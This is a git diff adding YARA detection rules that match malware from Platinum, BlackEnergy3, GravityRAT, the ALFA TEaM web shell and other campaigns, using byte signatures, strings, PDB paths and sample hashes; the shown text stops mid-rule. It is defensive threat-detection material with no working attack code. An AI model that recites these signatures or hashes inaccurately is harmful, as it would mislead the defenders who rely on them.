+    unpacked_sample_sha1 = "c1c950bc6a2ad67488e675da4dfc8916831239a7"
+    activity_group = "Platinum"
+    version = "1.0"
+    last_modified = "2016-04-12"
+    reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+
+  strings:
+    $str1 = {C6 44 24 ?? 68 C6 44 24 ?? 4D C6 44 24 ?? 53 C6 44 24 ?? 56 C6 44 24 ?? 00}
+    $str2 = "OUEMM/EMM"
+    $str3 = {85 C9 7E 08 FE 0C 10 40 3B C1 7C F8 C3}
+
+  condition:
+    $str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Plaklog : Platinum
+{
+  meta:
+    author = "Microsoft"
+    description = "Hook-based keylogger"
+    original_sample_sha1 = "831a5a29d47ab85ee3216d4e75f18d93641a9819"
+    unpacked_sample_sha1 = "e18750207ddbd939975466a0e01bd84e75327dda"
+    activity_group = "Platinum"
+    version = "1.0"
+    last_modified = "2016-04-12"
+    reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+
+  strings:
+    $str1 = "++[%s^^unknown^^%s]++"
+    $str2 = "vtfs43/emm"
+    $str3 = {33 C9 39 4C 24 08 7E 10 8B 44 24 04 03 C1 80 00 08 41 3B 4C 24 08 7C F0 C3}
+
+  condition:
+    $str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Plapiio : Platinum
+{
+  meta:
+    author = "Microsoft"
+    description = "JPin backdoor"
+    original_sample_sha1 = "3119de80088c52bd8097394092847cd984606c88"
+    unpacked_sample_sha1 = "3acb8fe2a5eb3478b4553907a571b6614eb5455c"
+    activity_group = "Platinum"
+    version = "1.0"
+    last_modified = "2016-04-12"
+    reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+
+  strings:
+    $str1 = "ServiceMain"
+    $str2 = "Startup"
+    $str3 = {C6 45 ?? 68 C6 45 ?? 4D C6 45 ?? 53 C6 45 ?? 56 C6 45 ?? 6D C6 45 ?? 6D}
+
+  condition:
+    $str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Plabit : Platinum
+{
+  meta:
+    author ="Microsoft"
+    description = "Installer component"
+    sample_sha1 = "6d1169775a552230302131f9385135d385efd166"
+    activity_group = "Platinum"
+    version= "1.0"
+    last_modified = "2016-04-12"
+    reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+
+  strings:
+    $str1 = {4b D3 91 49 A1 80 91 42 83 B6 33 28 36 6B 90 97}
+    $str2= "GetInstanceW"
+    $str3 = {8B D0 83 E2 1F 8A 14 0A 30 14 30 40 3B 44 24 04 72 EE}
+
+  condition:
+    $str1 and $str2 and $str3
+}
+
+  rule Trojan_Win32_Placisc2 : Platinum
+{
+  meta:
+    author = "Microsoft"
+    description = "Dipsind variant"
+    original_sample_sha1 = "bf944eb70a382bd77ee5b47548ea9a4969de0527"
+    unpacked_sample_sha1 = "d807648ddecc4572c7b04405f496d25700e0be6e"
+    activity_group = "Platinum"
+    version = "1.0"
+    last_modified = "2016-04-12"
+    reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+
+  strings:
+    $str1 = {76 16 8B D0 83 E2 07 8A 4C 14 24 8A 14 18 32 D1 88 14 18 40 3B C7 72 EA }
+    $str2 = "VPLRXZHTU"
+    $str3 = "%d) Command:%s"
+    $str4 = {0D 0A 2D 2D 2D 2D 2D 09 2D 2D 2D 2D 2D 2D 0D 0A}
+
+  condition:
+    $str1 and $str2 and $str3 and $str4
+}
+
+rule Trojan_Win32_Placisc3 : Platinum
+{
+  meta:
+    author = "Microsoft"
+    description = "Dipsind variant"
+    original_sample_sha1 = "1b542dd0dacfcd4200879221709f5fa9683cdcda"
+    unpacked_sample_sha1 = "bbd4992ee3f3a3267732151636359cf94fb4575d"
+    activity_group = "Platinum"
+    version = "1.0"
+    last_modified = "2016-04-12"
+    reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+
+  strings:
+    $str1 = {BA 6E 00 00 00 66 89 95 ?? ?? FF FF B8 73 00 00 00 66 89 85 ?? ?? FF FF B9 64 00 00 00 66 89 8D ?? ?? FF FF BA 65 00 00 00 66 89 95 ?? ?? FF FF B8 6C 00 00 00}
+    $str2 = "VPLRXZHTU"
+    $str3 = {8B 44 24 ?? 8A 04 01 41 32 C2 3B CF 7C F2 88 03}
+
+  condition:$str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Placisc4 : Platinum
+{
+  meta:
+    author = "Microsoft"
+    description = "Installer for Dipsind variant"
+    original_sample_sha1 = "3d17828632e8ff1560f6094703ece5433bc69586"
+    unpacked_sample_sha1 = "2abb8e1e9cac24be474e4955c63108ff86d1a034"
+    activity_group = "Platinum"
+    version = "1.0"
+    last_modified = "2016-04-12"
+    reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+
+  strings:
+    $str1 = {8D 71 01 8B C6 99 BB 0A00 00 00 F7 FB 0F BE D2 0F BE 04 39 2B C2 88 04 39 84 C0 74 0A}
+    $str2 = {6A 04 68 00 20 00 00 68 00 00 40 00 6A 00 FF D5}
+    $str3 = {C6 44 24 ?? 64 C6 44 24 ?? 6F C6 44 24 ?? 67 C6 44 24 ?? 32 C6 44 24 ?? 6A}
+
+  condition:
+    $str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Plakpers : Platinum
+{
+  meta:
+    author = "Microsoft"
+    description = "Injector / loader component"
+    original_sample_sha1 = "fa083d744d278c6f4865f095cfd2feabee558056"
+    unpacked_sample_sha1 = "3a678b5c9c46b5b87bfcb18306ed50fadfc6372e"
+    activity_group = "Platinum"
+    version = "1.0"
+    last_modified = "2016-04-12"
+    reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+
+  strings:
+    $str1 = "MyFileMappingObject"
+    $str2 = "[%.3u]  %s  %s  %s [%s:" wide
+    $str3 = "%s\\{%s}\\%s" wide
+
+  condition:
+    $str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Plainst2 : Platinum
+{
+  meta:
+    author = "Microsoft"
+    description = "Zc tool"
+    original_sample_sha1 = "3f2ce812c38ff5ac3d813394291a5867e2cddcf2"
+    unpacked_sample_sha1 = "88ff852b1b8077ad5a19cc438afb2402462fbd1a"
+    activity_group = "Platinum"
+    version = "1.0"
+    last_modified = "2016-04-12"
+    reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+
+  strings:
+    $str1 = "Connected [%s:%d]..."
+    $str2 = "reuse possible: %c"
+    $str3 = "] => %d%%\x0a"
+
+  condition:
+    $str1 and $str2 and $str3
+}
+
+rule Trojan_Win32_Plakpeer : Platinum
+{
+  meta:
+    author = "Microsoft"
+    description = "Zc tool v2"
+    original_sample_sha1 = "2155c20483528377b5e3fde004bb604198463d29"
+    unpacked_sample_sha1 = "dc991ef598825daabd9e70bac92c79154363bab2"
+    activity_group = "Platinum"
+    version = "1.0"
+    last_modified = "2016-04-12"
+    reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+
+  strings:
+    $str1 = "@@E0020(%d)" wide
+    $str2 = /exit.{0,3}@exit.{0,3}new.{0,3}query.{0,3}rcz.{0,3}scz/ wide
+    $str3 = "---###---" wide
+    $str4 = "---@@@---" wide
+
+  condition:
+    $str1 and $str2 and $str3 and $str4
+}
diff --git a/yara-mikesxrs/Mike Schladt/Mike_Schladt_index.yara b/yara-mikesxrs/Mike Schladt/Mike_Schladt_index.yara
new file mode 100644
index 0000000..9926263
--- /dev/null
+++ b/yara-mikesxrs/Mike Schladt/Mike_Schladt_index.yara	
@@ -0,0 +1,70 @@
+rule blackenergy3_api_encode
+{
+    meta:
+        author = "Mike Schladt"
+        date = "2015-06-08"
+        description = "matches api name encoding function for be3 persistence dll"
+        md5 = "46649163C659CBA8A7D0D4075329EFA3"
+        reference  = "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf"
+        
+    strings:
+        $api_encode = {8B C2 C1 E8 09 32 E0 32 C4 32 E0 0F C8 66 8B CA 66 D1 E9 8A E1 33 C9 8A EA 66 D1 E9 8A C1 8B CA D1 E9 0F C9 0A C1 33 C9 8A 0B 33 C1 8B D0 43 EB CA}
+        
+    condition:
+        $api_encode
+        
+}        
+
+rule blackenergy3_push_bytes
+{
+    meta:
+        author = "Mike Schladt"
+        date = "2015-06-08"
+        description = "matches push bytes used for api calls in be3 core files"
+        md5 = "46649163C659CBA8A7D0D4075329EFA3"
+        md5_2 = "78387651dd9608fcdf6bfb9df8b84db4"
+        reference  = "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf"
+        
+    strings:        
+        $push_4byte_1 = {68 EE EA C0 1F}
+        $push_4byte_2 = {68 49 F3 A5 2C}
+        $push_4byte_3 = {68 6B 43 59 4E}
+        $push_4byte_4 = {68 E6 4B 59 4E}
+        $push_4byte_5 = {68 6C 91 BA 4F}
+        $push_4byte_6 = {68 8A 86 39 56}
+        $push_4byte_7 = {68 9E 6D BD 5C}
+        $push_4byte_8 = {68 FE 6A 7A 69}
+        $push_4byte_9 = {68 A1 B0 5C 72}
+        $push_4byte_10 = {68 60 A2 8A 76}
+        $push_4byte_11 = {68 67 95 CD 77}
+        $push_4byte_12 = {68 EB 3D 03 84}
+        $push_4byte_13 = {68 19 2B 90 95}
+        $push_4byte_14 = {68 62 67 8D A4}
+        $push_4byte_15 = {68 AF 02 91 AB}
+        $push_4byte_16 = {68 26 80 AC C8}
+    
+    condition:
+        all of them
+    
+}
+
+rule apt_win_blackenergy3_installer
+{
+    meta:
+    
+        author = "Mike Schladt"
+        date = "2015-05-29"
+        description = "Matches unique code block for import name construction "
+        md5 = "78387651DD9608FCDF6BFB9DF8B84DB4"
+        sha1 = "78636F7BBD52EA80D79B4E2A7882403092BBB02D"
+        reference  = "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf"
+        
+    strings : 
+    
+        $import_names = { C7 45 D0 75 73 65 72 C7 45 D4 33 32 2E 64 66 C7 45 D8 6C 6C 88 5D DA C7 45 84 61 64 76 61 C7 45 88 70 69 33 32 C7 45 8C 2E 64 6C 6C 88 5D 90 C7 45 B8 77 69 6E 69 C7 45 BC 6E 65 74 2E C7 45 C0 64 6C 6C 00 C7 45 C4 77 73 32 5F C7 45 C8 33 32 2E 64 66 C7 45 CC 6C 6C 88 5D CE C7 45 94 73 68 65 6C C7 45 98 6C 33 32 2E C7 45 9C 64 6C 6C 00 C7 45 E8 70 73 61 70 C7 45 EC 69 2E 64 6C 66 C7 45 F0 6C 00 C7 85 74 FF FF FF 6E 65 74 61 C7 85 78 FF FF FF 70 69 33 32 C7 85 7C FF FF FF 2E 64 6C 6C 88 5D 80 C7 85 64 FF FF FF 6F 6C 65 61 C7 85 68 FF FF FF 75 74 33 32 C7 85 6C FF FF FF 2E 64 6C 6C 88 9D 70 FF FF FF C7 45 DC 6F 6C 65 33 C7 45 E0 32 2E 64 6C 66 C7 45 E4 6C 00 C7 45 A0 76 65 72 73 C7 45 A4 69 6F 6E 2E C7 45 A8 64 6C 6C 00 C7 85 54 FF FF FF 69 6D 61 67 C7 85 58 FF FF FF 65 68 6C 70 C7 85 5C FF FF FF 2E 64 6C 6C 88 9D 60 FF FF FF C7 45 AC 61 70 70 68 C7 45 B0 65 6C 70 2E C7 45 B4 64 6C 6C 00 C7 45 F4 2E 64 6C 6C 88 5D F8 }    
+                      
+    condition : 
+        any of them
+
+}
+
diff --git a/yara-mikesxrs/Mike Schladt/apt_win_blackenergy3_core.yar b/yara-mikesxrs/Mike Schladt/apt_win_blackenergy3_core.yar
new file mode 100644
index 0000000..a8e70de
--- /dev/null
+++ b/yara-mikesxrs/Mike Schladt/apt_win_blackenergy3_core.yar	
@@ -0,0 +1,49 @@
+rule blackenergy3_api_encode
+{
+    meta:
+        author = "Mike Schladt"
+        date = "2015-06-08"
+        description = "matches api name encoding function for be3 persistence dll"
+        md5 = "46649163C659CBA8A7D0D4075329EFA3"
+        reference  = "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf"
+        
+    strings:
+        $api_encode = {8B C2 C1 E8 09 32 E0 32 C4 32 E0 0F C8 66 8B CA 66 D1 E9 8A E1 33 C9 8A EA 66 D1 E9 8A C1 8B CA D1 E9 0F C9 0A C1 33 C9 8A 0B 33 C1 8B D0 43 EB CA}
+        
+    condition:
+        $api_encode
+        
+}        
+
+rule blackenergy3_push_bytes
+{
+    meta:
+        author = "Mike Schladt"
+        date = "2015-06-08"
+        description = "matches push bytes used for api calls in be3 core files"
+        md5 = "46649163C659CBA8A7D0D4075329EFA3"
+        md5_2 = "78387651dd9608fcdf6bfb9df8b84db4"
+        reference  = "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf"
+        
+    strings:        
+        $push_4byte_1 = {68 EE EA C0 1F}
+        $push_4byte_2 = {68 49 F3 A5 2C}
+        $push_4byte_3 = {68 6B 43 59 4E}
+        $push_4byte_4 = {68 E6 4B 59 4E}
+        $push_4byte_5 = {68 6C 91 BA 4F}
+        $push_4byte_6 = {68 8A 86 39 56}
+        $push_4byte_7 = {68 9E 6D BD 5C}
+        $push_4byte_8 = {68 FE 6A 7A 69}
+        $push_4byte_9 = {68 A1 B0 5C 72}
+        $push_4byte_10 = {68 60 A2 8A 76}
+        $push_4byte_11 = {68 67 95 CD 77}
+        $push_4byte_12 = {68 EB 3D 03 84}
+        $push_4byte_13 = {68 19 2B 90 95}
+        $push_4byte_14 = {68 62 67 8D A4}
+        $push_4byte_15 = {68 AF 02 91 AB}
+        $push_4byte_16 = {68 26 80 AC C8}
+    
+    condition:
+        all of them
+    
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Mike Schladt/apt_win_blackenergy3_installer.yar b/yara-mikesxrs/Mike Schladt/apt_win_blackenergy3_installer.yar
new file mode 100644
index 0000000..112cded
--- /dev/null
+++ b/yara-mikesxrs/Mike Schladt/apt_win_blackenergy3_installer.yar	
@@ -0,0 +1,19 @@
+rule apt_win_blackenergy3_installer
+{
+    meta:
+    
+        author = "Mike Schladt"
+        date = "2015-05-29"
+        description = "Matches unique code block for import name construction "
+        md5 = "78387651DD9608FCDF6BFB9DF8B84DB4"
+        sha1 = "78636F7BBD52EA80D79B4E2A7882403092BBB02D"
+        reference  = "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf"
+        
+    strings : 
+    
+        $import_names = { C7 45 D0 75 73 65 72 C7 45 D4 33 32 2E 64 66 C7 45 D8 6C 6C 88 5D DA C7 45 84 61 64 76 61 C7 45 88 70 69 33 32 C7 45 8C 2E 64 6C 6C 88 5D 90 C7 45 B8 77 69 6E 69 C7 45 BC 6E 65 74 2E C7 45 C0 64 6C 6C 00 C7 45 C4 77 73 32 5F C7 45 C8 33 32 2E 64 66 C7 45 CC 6C 6C 88 5D CE C7 45 94 73 68 65 6C C7 45 98 6C 33 32 2E C7 45 9C 64 6C 6C 00 C7 45 E8 70 73 61 70 C7 45 EC 69 2E 64 6C 66 C7 45 F0 6C 00 C7 85 74 FF FF FF 6E 65 74 61 C7 85 78 FF FF FF 70 69 33 32 C7 85 7C FF FF FF 2E 64 6C 6C 88 5D 80 C7 85 64 FF FF FF 6F 6C 65 61 C7 85 68 FF FF FF 75 74 33 32 C7 85 6C FF FF FF 2E 64 6C 6C 88 9D 70 FF FF FF C7 45 DC 6F 6C 65 33 C7 45 E0 32 2E 64 6C 66 C7 45 E4 6C 00 C7 45 A0 76 65 72 73 C7 45 A4 69 6F 6E 2E C7 45 A8 64 6C 6C 00 C7 85 54 FF FF FF 69 6D 61 67 C7 85 58 FF FF FF 65 68 6C 70 C7 85 5C FF FF FF 2E 64 6C 6C 88 9D 60 FF FF FF C7 45 AC 61 70 70 68 C7 45 B0 65 6C 70 2E C7 45 B4 64 6C 6C 00 C7 45 F4 2E 64 6C 6C 88 5D F8 }    
+                      
+    condition : 
+        any of them
+
+}
diff --git a/yara-mikesxrs/Mikesxrs/ALFA_TEaM_Shell_V1.yar b/yara-mikesxrs/Mikesxrs/ALFA_TEaM_Shell_V1.yar
new file mode 100644
index 0000000..d886111
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/ALFA_TEaM_Shell_V1.yar
@@ -0,0 +1,21 @@
+rule ALFA_TEaM_Shell_V1
+{
+	meta:
+    	Author = "@X0RC1SM"
+        Description = "Looking for ALFA TEaM Shell"
+        Reference = "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html"
+        Date = "2017-10-28"
+		
+  strings:
+		$STR1 = "#Iranian Hackers"
+		$STR2 = "#Persian Gulf For Ever"
+		$STR3 = "#Special Thanks To MadLeets"
+		$STR4 = "function alfa("
+		$STR5 = "=alfa("
+		$STR6 = "#Author Sole Sad & Invisible"
+		$STR7 = "#solevisible@gmail.com"
+		$STR8 = "#CopyRight 2014"
+		
+	condition:
+		5 of them
+}
diff --git a/yara-mikesxrs/Mikesxrs/ALFA_TEaM_Shell_V2.yar b/yara-mikesxrs/Mikesxrs/ALFA_TEaM_Shell_V2.yar
new file mode 100644
index 0000000..dfca453
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/ALFA_TEaM_Shell_V2.yar
@@ -0,0 +1,21 @@
+rule ALFA_TEaM_Shell_V2
+{
+	meta:
+    	Author = "@X0RC1SM"
+        Description = "Looking for ALFA TEaM Shell"
+        Reference = "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html"
+        Date = "2017-10-28"
+		
+  strings:
+		$STR1 = "Alfa Team Starter"
+		$STR2 = "Alfa_Protect_Shell"
+		$STR3 = "Alfa_Login_Page"
+		$STR4 = "$Alfa_Pass = '"
+		$STR5 = "Alfa_User = 'alfa'"
+		$STR6 = "#Author Sole Sad & Invisible"
+		$STR7 = "#solevisible@gmail.com"
+		$STR8 = "#Copyright 2014-2016"
+		
+	condition:
+		5 of them
+}
diff --git a/yara-mikesxrs/Mikesxrs/APT3_PDB_Paths.yar b/yara-mikesxrs/Mikesxrs/APT3_PDB_Paths.yar
new file mode 100644
index 0000000..653f2a5
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/APT3_PDB_Paths.yar
@@ -0,0 +1,19 @@
+rule APT3_PDB_Paths
+{
+	meta:
+    	Author = "@X0RC1SM"
+        Description = "Looking for PDB paths found in report"
+        Reference1 = "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html"
+        Date = "2017-10-28"
+    strings:
+    	$PDB1 = "c:\\Users\\aa\\Documents\\Visual Studio 2008\\Projects\\MShell\\Release        \\MShell.pdb"
+    	$PDB2 = "c:\\Users\\aa\\Documents\\Visual Studio 2008\\Projects\\4113\\Release            \\4113.pdb"
+    	$PDB3 = "C:\\Users\\aa\\Documents\\Visual Studio 2010\\Projects\\MyRat\\Client\\Client      \\obj\\x86\\Release\\Client.pdb"
+    	$PDB4 = "C:\\Users\\aa\\Documents\\"
+    	$PDB5 = "c:\\Users\\aa\\Documents\\Visual Studio 2008\\Projects\\MShell\\Release\\MShell.pdb"
+    	$PDB6 = "c:\\Users\\aa\\Documents\\Visual Studio 2008\\Projects\\4113\\Release\\4113.pdb"
+    	$PDB7 = "C:\\Users\\aa\\Documents\\Visual Studio 2010\\Projects\\MyRat\\Client\\Client\\obj\\x86\\Release\\Client.pdb"
+
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/Mikesxrs/AppleJeus_PDB.yar b/yara-mikesxrs/Mikesxrs/AppleJeus_PDB.yar
new file mode 100644
index 0000000..e5c6501
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/AppleJeus_PDB.yar
@@ -0,0 +1,19 @@
+rule AppleJeus_PDB
+{
+  meta:
+    author = "mikesxrs"
+    description = "PDB Path in  malware"
+    reference = "https://securelist.com/operation-applejeus/87553/"
+
+  strings: 
+	$pdb1 = "Z:\\jeus\\downloader\\downloader_exe_vs2010\\Release\\dloader.pdb"
+    $pdb2 = "Z:\\jeus\\downloader\\"
+    $pdb3 = "H:\\DEV\\TManager\\all_BOSS_troy\\T_4.2\\T_4.2\\Server_\\x64\\Release\\ServerDll.pdb"
+    $pdb4 = "H:\\DEV\\TManager\\DLoader\\20180702\\dloader\\WorkingDir\\Output\\00000009\\Release\\dloader.pdb"
+    $pdb5 = "H:\\DEV\\TManager\\DLoader\\20180702\\dloader\\WorkingDir\\Output\\00000006\\Release\\dloader.pdb"
+    $pdb6 = "H:\\DEV\\TManager\\"
+  
+  condition:
+    any of them
+
+}
diff --git a/yara-mikesxrs/Mikesxrs/Aurora_PDB.yar b/yara-mikesxrs/Mikesxrs/Aurora_PDB.yar
new file mode 100644
index 0000000..03fad42
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/Aurora_PDB.yar
@@ -0,0 +1,13 @@
+rule Aurora_PDB
+{
+	meta:
+		author = "Michael Worth"
+		reference = "https://www.secureworks.com/blog/research-20913"
+		description = "PDB path from Arora"
+
+	strings:
+		$PDB1 = "f:\\Aurora_Src\\AuroraVNC\\Avc\\Release\\AVC.pdb"
+		$PDB2 = "f:\\Aurora_Src\\"
+	condition:
+		$PDB1 or $PDB2
+}
diff --git a/yara-mikesxrs/Mikesxrs/BADPATCH_PDB.yar b/yara-mikesxrs/Mikesxrs/BADPATCH_PDB.yar
new file mode 100644
index 0000000..890cfeb
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/BADPATCH_PDB.yar
@@ -0,0 +1,18 @@
+rule badpatch_PDB
+{
+	meta:
+    	Author = "@X0RC1SM"
+        Description = "Looking for unique PDB"
+        Reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/"
+        Date = "2017-10-28"
+    strings:    
+		$VBP1 = "D:\\000 work\\21.3 GB\\newSpoofKL\\Project1.vbp" ascii wide nocase
+		$VBP2 = "Y:\\My Work\\VB 6\\Get Files\\GFiles 14-09-2015 – Working tst only\\Project1.vbp" ascii wide nocase
+		$VBP3 = "C:\\Users\\Shady\\Desktop\\only email with slide show\\Project1.vbp" ascii wide nocase
+		$VBP4 = "E:\\work here\\ready kl send recent files\\Project1.vbp" ascii wide nocase
+		$VBP5 = "Q:\\newPatch\\downloader\\exe site\\shop\\Project1.vbp" ascii wide nocase
+		$VBP6 = "J:\\dowloader 2 8\\downloader\\site\\Project1.vbp" ascii wide nocase
+		$VBP7 = "W:\\newPatch\\exe vb m103 30 3 2016\\Project1.vbp" ascii wide nocase
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/Mikesxrs/CN_group_PDB.yar b/yara-mikesxrs/Mikesxrs/CN_group_PDB.yar
new file mode 100644
index 0000000..ca36856
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/CN_group_PDB.yar
@@ -0,0 +1,14 @@
+rule CN_group_PDB
+{
+	meta:
+    	Author = "mikesxrs"
+      Description = "Looking for unique 1937CN group PDB"
+      Reference = "https://www.votiro.com/single-post/2017/08/23/Votiro-Labs-exposed-a-new-hacking-campaign-targeting-Vietnamese-organisations-using-a-weaponized-Word-documents"
+		  Date = "2017-08-23"
+	strings:
+		$PDB1 = "G:\\Work\\Bison\\BisonNewHNStubDll\\Release\\Goopdate.pdb" ascii wide nocase
+		$PDB2 = "G:\\Work\\Bison\\" ascii wide nocase
+		$PDB3 = "\\BisonNewHNStubDll\\Release\\Goopdate.pdb" ascii wide nocase
+	condition:
+		any of them
+}	
diff --git a/yara-mikesxrs/Mikesxrs/Cleaver_PDB.yar b/yara-mikesxrs/Mikesxrs/Cleaver_PDB.yar
new file mode 100644
index 0000000..3dd29bc
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/Cleaver_PDB.yar
@@ -0,0 +1,19 @@
+rule Cleaver_PDB
+{
+	meta:
+    	Author = "@X0RC1SM"
+        Description = "Looking for unique PDB"
+        Reference = "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
+        Date = "2017-10-28"
+    strings:    
+		$PDB1 = "e:\\projects\\cleaver\\trunk\\zhoupin_cleaver\\obj\\x86\\release\\netscp.pdb"  ascii wide nocase
+		$PDB2 = "c:\\users\\jimbp\\desktop\\binder_1 - for cleaver\\binder_1\\obj\\x86\\release\\setup.pdb" ascii wide nocase
+		$PDB3 = "e:\\Projects\\Cleaver\\trunk\\MainModule\\obj\\Release\\MainModule.pdb" ascii wide nocase
+		$PDB4 = "e:\\projects\\cleaver\\" ascii wide nocase 
+		$PDB5 = "c:\\users\\jimbp\\" ascii wide nocase
+		$PDB6 = "zhoupin_cleaver\\" ascii wide nocase
+		$PDB7 = "\\Projects\\Cleaver\\" ascii wide nocase 
+		$PDB8 = "\\binder_1 - for cleaver\\" ascii wide nocase
+	condition:
+		any of them
+}
diff --git a/yara-mikesxrs/Mikesxrs/FREEMILK_PDB.yar b/yara-mikesxrs/Mikesxrs/FREEMILK_PDB.yar
new file mode 100644
index 0000000..75bd34e
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/FREEMILK_PDB.yar
@@ -0,0 +1,16 @@
+rule FREEMILK_PDB
+{
+	meta:
+    	Author = "mikesxrs"
+        Description = "Looking for unique PDB"
+        Reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/"
+        Date = "2017-10-05"
+  strings:
+		$PDB1 = "E:\\BIG_POOH\\Project\\milk\\Release\\milk.pdb" ascii wide nocase
+		$PDB2 = "E:\\BIG_POOH\\Project\\Desktop\\milk\\Release\\milk.pdb" ascii wide nocase
+		$PDB3 = "E:\\BIG_POOH\\" ascii wide nocase
+		$PDB4 = "\\Release\\milk.pdb" ascii wide nocase
+		$PDB5 = "F:\\Backup\\2nd\\Agent\\Release\\Agent.pdb"
+	condition:
+		any of them
+}
diff --git a/yara-mikesxrs/Mikesxrs/Final1stspy_PDB.yar b/yara-mikesxrs/Mikesxrs/Final1stspy_PDB.yar
new file mode 100644
index 0000000..97a9c81
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/Final1stspy_PDB.yar
@@ -0,0 +1,17 @@
+rule Final1stspy_PDB
+{
+  meta:
+    author = "mikesxrs"
+    description = "PDB Path in  malware"
+    reference = "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/"
+
+strings:
+	$STR1= "E:\\Final Project(20180108)\\Final1stspy\\LoadDll\\Release\\LoadDll.pdb"
+    $STR2= "E:\\Final Project(20180108)\\Final1stspy\\hadowexecute – Copy\\Release\\hadowexecute.pdb"
+    $STR3= "E:\\Final Project(20180108)\\Final1stspy\\"
+
+    
+  condition: 
+	any of them
+
+}
diff --git a/yara-mikesxrs/Mikesxrs/GravityRAT_G1-GX.yar b/yara-mikesxrs/Mikesxrs/GravityRAT_G1-GX.yar
new file mode 100644
index 0000000..5737ed0
--- /dev/null
+++ b/yara-mikesxrs/Mikesxrs/GravityRAT_G1-GX.yar
@@ -0,0 +1,62 @@
+rule GravityRAT_G1_PDB
+{
+	meta:
+		author = "Michael Worth"
+		reference = "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
+		description = "PDB path for Gravity RAT G1"
+
+	strings:
+		$PDB1 = "f:\\F\\Windows Work\\G1\\Adeel's Laptop\\G1 Main Virus\\systemInterrupts\\gravity\\obj\\x86\\Debug\\systemInterrupts.pdb"
+		$PDB2 = "f:\\F\\Windows Work\\G1\\Adeel's Laptop\\"
+       		$PDB3 = "\\gravity\\obj\\x86\\Debug\\"
+	condition:
+		any of them
+}
+
+rule GravityRAT_G2_PDB
+{
+	meta:
+		author = "Michael Worth"
+		reference = "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
+		description = "PDB path for Gravity RAT G2"
+
+	strings:
+		$PDB1 = "e:\\Windows Work\\G2\\G2 Main Virus\\Microsoft Virus Solutions (G2 v5) (Current)\\Microsoft Virus Solutions\\obj\\Debug\\Windows Wireless 802.11.pdb"
+		$PDB2 = "e:\\Windows Work\\G2\\"
+        	$PDB3 = "\\G2\\G2 Main Virus\\Microsoft Virus Solutions (G2"
+	condition:
+		any of them
+}
+
+rule GravityRAT_G3_PDB
+{
+	meta:
+		author = "Michael Worth"
+		reference = "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
+		description = "PDB path for Gravity RAT G3"
+
+	strings:
+		$PDB1 = "F:\\Projects\\g3\\G3 Version 4.0\\G3\\G3\\obj\\Release\\Intel Core.pdb"
+		$PDB2 = "F:\\Projects\\g3\\G3 Version "
+       		$PDB3 = "\\G3\\G3\\obj\\Release\\"
+	condition:
+		any of them
+}
+
+rule GravityRAT_GX_PDB
+{
+	meta:
+		author = "Michael Worth"
